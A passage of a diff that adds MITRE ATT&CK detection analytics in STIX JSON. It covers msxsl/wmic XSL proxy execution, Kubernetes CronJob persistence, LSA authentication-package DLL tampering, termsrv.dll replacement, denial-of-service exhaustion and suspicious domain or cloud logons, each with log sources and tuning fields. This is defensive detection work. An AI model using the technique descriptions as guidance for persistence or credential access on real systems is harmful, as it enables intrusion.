"x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "WinEventLog:Application", + "channel": "API call to AddMonitor invoked by non-installer process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDLLDirectory", + "description": "Expected directory path for legitimate monitor DLLs (e.g., C:\\Windows\\System32)" + }, + { + "field": "SignedImageValidation", + "description": "Enable/disable signature validation on DLLs loaded by spoolsv.exe" + }, + { + "field": "UserContextScope", + "description": "Define whether only SYSTEM/user installs are expected to make changes to the port monitor registry keys" + }, + { + "field": "TimeWindow", + "description": "Timeframe between registry modification and subsequent spoolsv.exe DLL load" + }, + { + "field": "AddMonitorCallContext", + "description": "Filter on calling process of AddMonitor API to detect anomalies outside installer/updater" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f313053f-5898-4f47-b263-a60098f5c963", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0205#AN0581", + "external_id": "AN0581" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0581", + "description": "Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "May need to tune based on encoded input or custom extensions (e.g., .jpeg instead of .xsl)." + }, + { + "field": "ParentProcess", + "description": "Legitimate administrative or developer tools may use msxsl; validate the parent process chain." + }, + { + "field": "TimeWindow", + "description": "Temporal correlation window between script engine DLL load and suspicious process spawn." + }, + { + "field": "RemoteXSLDomainWhitelist", + "description": "Filter known safe URLs used by enterprise for XSL transformations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2c03ef0-cd36-42b8-9c2d-e25a3b1b8b1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0206#AN0582", + "external_id": "AN0582" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0582", + "description": "Detects abuse of container orchestration platforms (e.g., Kubernetes) where adversaries create CronJobs to maintain persistence or execute malicious Jobs across the cluster.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "kubernetes:apiserver", + "channel": "verb=create, resource=cronjobs, group=batch" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "kubernetes:events", + "channel": "container start/stop activity via Docker, containerd, or CRI-O" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "container:proxy", + "channel": "outbound/inbound network activity from spawned pods" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NamespaceScope", + "description": "Kubernetes namespace the job is deployed to\u2014scoping this to known trusted namespaces may reduce noise." + }, + { + "field": "ImageRepository", + "description": "The container image registry or repository the job pulls from\u2014can be filtered by trusted registries." + }, + { + "field": "ScheduleWindow", + "description": "Time window or frequency of CronJob execution (e.g., \u2018@hourly\u2019)\u2014jobs running at odd hours may be suspicious." + }, + { + "field": "ExecutionCommand", + "description": "The command or entrypoint executed by the Job\u2014unexpected shell commands or interpreters may warrant inspection." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d415367c-3624-4a68-a2b7-4734662db190", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0207#AN0583", + "external_id": "AN0583" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0583", + "description": "Registry modification of the LSA Authentication Packages key followed by LSASS loading a non-standard or unsigned DLL. This includes unusual write access to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa`, especially during non-installation timeframes. Correlated with `lsass.exe` loading DLLs not present in baseline or lacking valid signatures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time between registry write and DLL load; tune based on reboot cycles or scheduled maintenance" + }, + { + "field": "ImageSignatureStatus", + "description": "Allow listing of known signed LSASS-authenticated DLLs versus unknown/untrusted ones" + }, + { + "field": "RegistryPathScope", + "description": "Allow tuning for subkeys beyond just `Authentication Packages` (e.g., `Security Packages`, `Notification Packages`)" + }, + { + "field": "UserContext", + "description": "Correlate user responsible for registry edit; tune for expected administrative/service accounts" + }, + { + "field": "ParentProcess", + "description": "Validate process lineage for registry modification; expected tools like `reg.exe` or `powershell.exe`" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3102edb4-6947-4cef-9660-4a35d582a716", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0584", + "external_id": "AN0584" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0584", + "description": "Excessive resource exhaustion or service crash induced by processes launched by users or scripts that rapidly consume CPU/memory or attempt malformed service interactions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Service crash, unhandled exception, or application hang warnings for critical services (e.g., IIS, DNS, SQL Server)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "WinEventLog:System", + "channel": "System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Number of service crashes or high-CPU events within a defined time period" + }, + { + "field": "ServiceTarget", + "description": "Specific service name or executable targeted for DoS (e.g., svchost.exe, w3wp.exe)" + }, + { + "field": "CPUThresholdPercent", + "description": "CPU usage percent considered anomalous over duration" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b7e4a6de-8ff3-4711-aa83-97533adec211", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0585", + "external_id": "AN0585" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0585", + "description": "Malicious script or binary causes repeated kernel panics, OOM kills, or systemd service restarts targeting services like nginx, httpd, sshd.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "linux:syslog", + "channel": "Out of memory killer invoked or kernel panic entries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "journald:systemd", + "channel": "Repeated service restart attempts or unit failures" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceName", + "description": "Targeted daemon/service such as sshd, nginx, mysql" + }, + { + "field": "RestartThreshold", + "description": "Number of restarts in short succession to trigger alert" + }, + { + "field": "OOMKillCount", + "description": "Count of OOM kills over a time window" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f2cc434-5edc-4f36-927a-eb48ee72aa6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0586", + "external_id": "AN0586" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0586", + "description": "Adversary launches high-entropy process or malformed app bundle causing repeated application crashes and system slowdowns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Repeated process crashes logged by CrashReporter or system instability logs in com.apple.console" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "Spike in CPU or memory use from non-user-initiated processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CrashCountThreshold", + "description": "Number of app crashes within monitoring window" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Used for high-entropy binaries often observed in DoS malware samples" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--472f81b1-99ba-406a-b2ef-d70b2af5b527", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0587", + "external_id": "AN0587" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0587", + "description": "Instance enters degraded/unhealthy state due to abnormal process load or memory exhaustion, often caused by automation or script-based attacks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "AWS:CloudWatch", + "channel": "StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "StartInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "VPCFlowLogs:All", + "channel": "High volume internal traffic with low entropy indicating looped or malicious DoS script" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstanceType", + "description": "Burstable vs compute-optimized instances impact DoS effect" + }, + { + "field": "FailureThreshold", + "description": "How many consecutive StatusCheckFailed events to consider critical" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7027622a-7a33-4189-a500-c54eef3467b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0208#AN0588", + "external_id": "AN0588" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0588", + "description": "Container orchestrator logs show crashlooping pods, repeated resource exhaustion, or malicious binaries with infinite loops consuming systemd/cgroup limits.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "kubernetes:events", + "channel": "CrashLoopBackOff, OOMKilled, container restart count exceeds threshold" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "docker:events", + "channel": "Container exited with non-zero code repeatedly in short period" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RestartCountThreshold", + "description": "Number of container restarts within a time window" + }, + { + "field": "ContainerImageEntropy", + "description": "Payload entropy of container image as an anomaly factor" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8986f2ab-2e6d-4c68-99ac-6a1c5f29fb7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0209#AN0589", + "external_id": "AN0589" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0589", + "description": "Registry read access associated with suspicious or non-interactive processes querying system config, installed software, or security settings.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetRegistryPath", + "description": "Focus detection on registry hives or keys likely to reveal environment info (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion)." + }, + { + "field": "ParentProcess", + "description": "May tune for suspicious parent processes such as cmd.exe, wscript.exe, or mshta.exe." + }, + { + "field": "TimeWindow", + "description": "Controls how closely registry access must follow process creation for correlation." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c7706ddb-cf88-41c7-981b-a5e1bf6cfcfc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0590", + "external_id": "AN0590" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0590", + "description": "Detection of suspicious logon behavior using valid domain accounts across multiple hosts, off-hours, or simultaneous sessions from geographically distant locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4625, 4768, 4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Tune for detection of off-hours or abnormal logon spikes." + }, + { + "field": "UserContext", + "description": "Scope to sensitive domain accounts (e.g., Domain Admins)." + }, + { + "field": "LogonType", + "description": "Distinguish between interactive, service, and network logons." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--74aade7b-b61a-46d0-a68b-33fba4f09f6e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0591", + "external_id": "AN0591" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0591", + "description": "Use of domain accounts via sssd or winbind for logon activity outside of typical patterns, especially on sensitive systems or with lateral movement tools.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "auditd:SYSCALL", + "channel": "pam_authenticate, sshd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "linux:syslog", + "channel": "sssd / sudo logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HostnameScope", + "description": "Filter to high-value systems (e.g., domain-joined servers)." + }, + { + "field": "AccountDomain", + "description": "Identify trusted domains versus external or misconfigured domains." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--96050801-dc36-462f-982e-df2806eaa3ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0592", + "external_id": "AN0592" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0592", + "description": "Domain logins using network accounts or mobile accounts via Open Directory or Active Directory plugins, especially outside business hours or on atypical endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "log show --predicate 'eventMessage contains \"Authentication\"'" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserLocation", + "description": "Geo-IP or VPN source context for abnormal remote access." + }, + { + "field": "LogonMethod", + "description": "Control for expected services (e.g., GUI login vs. SSH)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f931e587-28f8-4923-b054-98d6348dcafe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0210#AN0593", + "external_id": "AN0593" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0593", + "description": "Login to vSphere or ESXi hosts using domain accounts, especially those associated with vpxuser or unexpected group memberships.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "esxi:vpxd", + "channel": "/var/log/vmware/vpxd.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "esxi:hostd", + "channel": "/var/log/hostd.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccountType", + "description": "Prioritize detection on accounts with elevated access." + }, + { + "field": "LoginInterface", + "description": "Distinguish interactive UI login from API or SSH access." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--926f4550-8c47-4882-afb3-1f0832c8d3b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0211#AN0594", + "external_id": "AN0594" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0594", + "description": "Direct login to cloud-hosted virtual machines via cloud-native access methods (e.g., EC2 Instance Connect, Azure Serial Console, SSM), followed by command execution or privilege escalation on the VM", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "AWS:CloudTrail", + "channel": "SendSSHPublicKey, StartSession (SSM), EC2InstanceConnect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlates cloud login to host activity within a reasonable time span (e.g., < 60 seconds)" + }, + { + "field": "CloudAuthMethod", + "description": "Filters based on access vector: SSH key, SSM session, or Console connect" + }, + { + "field": "SessionOriginRegion", + "description": "Identifies sessions from out-of-region or untrusted networks" + }, + { + "field": "TargetInstanceTags", + "description": "Filters sensitive systems or production assets for alert tuning" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--01f18cc1-2948-4ea7-adaf-017da939b9ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0212#AN0595", + "external_id": "AN0595" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0595", + "description": "Adversary modifies or replaces the Terminal Services DLL (`termsrv.dll`) or changes the associated `ServiceDll` Registry value to load an arbitrary or patched DLL that enables persistent and enhanced RDP access. This may include binary replacement, registry tampering, and unexpected module loads by the `svchost.exe -k termsvcs` process.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDLLPath", + "description": "Defenders may tune for non-standard DLLs loaded by svchost.exe or termsrv.exe processes." + }, + { + "field": "RegistryKeyTarget", + "description": "Environment-specific variations in the path to `ServiceDll` registry key (e.g., nested group policies)." + }, + { + "field": "TimeWindow", + "description": "Correlation time window for registry change followed by DLL load or svchost restart." + }, + { + "field": "ParentProcessName", + "description": "Some environments may spawn registry changes from automation tools or administrative scripts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1e9fdc71-d073-403a-9ee9-bab091318454", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", 